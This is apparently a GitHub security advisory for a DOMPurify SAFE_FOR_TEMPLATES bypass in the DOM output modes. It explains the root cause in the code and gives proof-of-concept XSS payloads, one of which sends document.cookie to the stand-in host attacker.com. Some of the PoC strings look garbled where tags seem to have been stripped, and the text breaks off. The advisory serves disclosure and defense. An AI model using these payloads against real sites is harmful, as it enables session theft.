GitHub Advisoryadvisory · npm
GHSA-gvmj-g25r-r7wr DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside <template> content when using DOM output modes
LOW
Official page ↗
- Aliases
- CVE-2026-65900
- Ecosystem
- npm
- Packages
- dompurify
- Severity
- Low
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P
- Weaknesses
- CWE-79
- Reviewed
- 2026-06-15
Affected packages
• npm dompurify: >= 3.0.0, < 3.4.8 → fixed in 3.4.8
Description
Summary
When DOMPurify is configured with both `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `IN_PLACE: true`), an attacker can inject template expressions, such as `${evil}`, `{{evil}}`, or ``, that survive the sanitization pass inside `` element content. This bypasses the explicit purpose of `SAFE_FOR_TEMPLATES`, which is to prevent template engine evaluation of user-supplied content.
> Note: The string output path is not affected. Only the DOM return paths (`RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, `IN_PLACE: true`) are vulnerable.
---
Description
Background
`SAFE_FOR_TEMPLATES` is designed to strip `{{ }}`, `${ }`, and `` expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:
1. Per-node scrubbing (`_sanitizeElements`, `src/purify.ts:1403`), scrubs individual text nodes during the main sanitization walk.
2. Final normalization pass (`_scrubTemplateExpressions`, `src/purify.ts:1115`), calls `node.normalize()` to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.
The Gap
`_scrubTemplateExpressions` uses a standard `NodeIterator` rooted at the output body:
```ts
// src/purify.ts:1117
const walker = createNodeIterator.call(
node.ownerDocument || node,
node,
NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ...,
null
);
```
Per the DOM specification, a `NodeIterator` does not descend into `.content`. The template element's content is a separate `DocumentFragment` that lives outside the normal child-node tree. For the same reason, `node.normalize()` (called on line 1116) also does not normalize text nodes inside `.content`.
This means the final normalization and scrub pass, the only pass that catches expressions formed *by merging split text nodes*, never runs on `` content.
How Split Text Nodes Are Created
When DOMPurify removes a disallowed element with `KEEP_CONTENT: true` (the default), it moves the element's text children into the parent node. This is the standard code path at `src/purify.ts:1361–1373`:
```ts
if (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) {
const parentNode = getParentNode(currentNode);
const childNodes = getChildNodes(currentNode);
if (childNodes && parentNode) {
for (let i = childCount - 1; i >= 0; --i) {
const childClone = cloneNode(childNodes[i], true);
parentNode.insertBefore(childClone, getNextSibling(currentNode));
}
}
}
```
If the removed elements were adjacent siblings inside `` content, their extracted text nodes end up as adjacent text nodes in the template content fragment. Each individual text node is scrubbed by `_sanitizeElements`, but since `$` and `{evil}` do not match any expression regex on their own, neither is modified.
The code comment at `src/purify.ts:1100` explicitly acknowledges the threat class:
> *"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework."*
The implementation guards against this on the main body, but the guard is not applied to `` content.
---
Proof of Concept
Why the Split Works
The bypass relies on splitting `${...}` across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:
| Fragment | Against `TMPLIT_EXPR` `/\${[\w\W]*/g` | Against `MUSTACHE_EXPR` `/{{[\w\W]*\|^[\w\W]*}}/g` | Result |
|---|---|---|---|
| `$` | Requires `${` - no `{` follows | No `{{` or `}}` | Survives |
| `{alert(document.domain)}` | Requires leading `$` - absent | No `{{`, ends with single `}` not `}}` | Survives |
| `${alert(document.domain)}` | Full match - would be stripped | - | Stripped if seen whole |
DOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.
---
PoC 1 - XSS via `alert()` (baseline confirmation)
```javascript
// Attacker input - splits "${alert(document.domain)}" across two custom elements.
// Custom elements are not in DOMPurify's default ALLOWED_TAGS and are removed,
// but their text content is kept (KEEP_CONTENT: true is the default).
const dirty =
'' +
'$' +
'{alert(document.domain)}' +
'';
// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...}
const sanitized = DOMPurify.sanitize(dirty, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
// Inspect what survived inside the
const tmpl = sanitized.querySelector('template');
console.log([...tmpl.content.childNodes].map(n => n.nodeValue));
// ["$", "{alert(document.domain)}"] ' +
'$' +
'{document.location="//attacker.com/?c="+document.cookie}' +
'';
const sanitized = DOMPurify.sanitize(dirty, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
const tmpl = sanitized.querySelector('template');
tmpl.content.normalize();
console.log(tmpl.content.textContent);
// "${document.location="//attacker.com/?c="+document.cookie}"
// Template engine evaluates it - victim's browser makes the request:
new Function(`return \`${tmpl.content.textContent}\``)();
// !! Redirects victim to attacker.com with their full cookie string !!
// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789
```
---
PoC 3 - End-to-end: realistic application context
This shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:
```html
import DOMPurify from './dist/purify.es.mjs';
// Simulates fetching and rendering user-submitted comment
async function renderComment(userHtml) {
// Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine
const dom = DOMPurify.sanitize(userHtml, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
// Application iterates elements and evaluates their content
// (common pattern in component-based frameworks)
dom.querySelectorAll('template').forEach(tmpl => {
tmpl.content.normalize(); // standard DOM housekeeping
const content = tmpl.content.textContent;
// Application uses template literals to interpolate user content into UI
const rendered = new Function('user', `return \`${content}\``)({ name: 'World' });
document.getElementById('output').innerHTML += rendered;
});
}
// Attacker-supplied comment content
const attackerComment =
'' +
'$' +
'{alert("XSS: " + document.cookie)}' +
'';
// Developer believes SAFE_FOR_TEMPLATES makes this safe — it does not for RETURN_DOM
renderComment(attackerComment);
// !! XSS fires, alert pops with session cookies !!
```
Observed output: `alert("XSS: " + document.cookie)` executes in the victim's browser context, leaking sessio…
Related
Alias · CVE (1)
- CVE-2026-65900 DOMPurify versions >=3.0.0 and before 3.4.8, when configured with SAFE_FOR_TEMPLATES together with a DOM output mode (RETURN_DOM,… vulnerability
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness